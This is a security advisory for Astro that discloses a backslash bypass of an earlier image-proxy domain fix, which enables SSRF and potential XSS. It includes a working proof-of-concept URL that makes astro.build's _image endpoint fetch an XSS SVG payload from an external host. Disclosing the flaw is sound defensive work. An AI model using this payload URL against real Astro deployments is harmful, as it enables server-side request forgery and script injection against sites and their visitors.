HIGH 7.2
GHSA-qcpr-679q-rhm2
Astro's bypass of image proxy domain validation leads to SSRF and potential XSS
Details
### Summary
This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch.
### PoC [https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)
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Affected packages
References
- https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2 [WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2025-59837 [ADVISORY]
- https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4 [WEB]
- https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252 [WEB]
- https://github.com/withastro/astro [PACKAGE]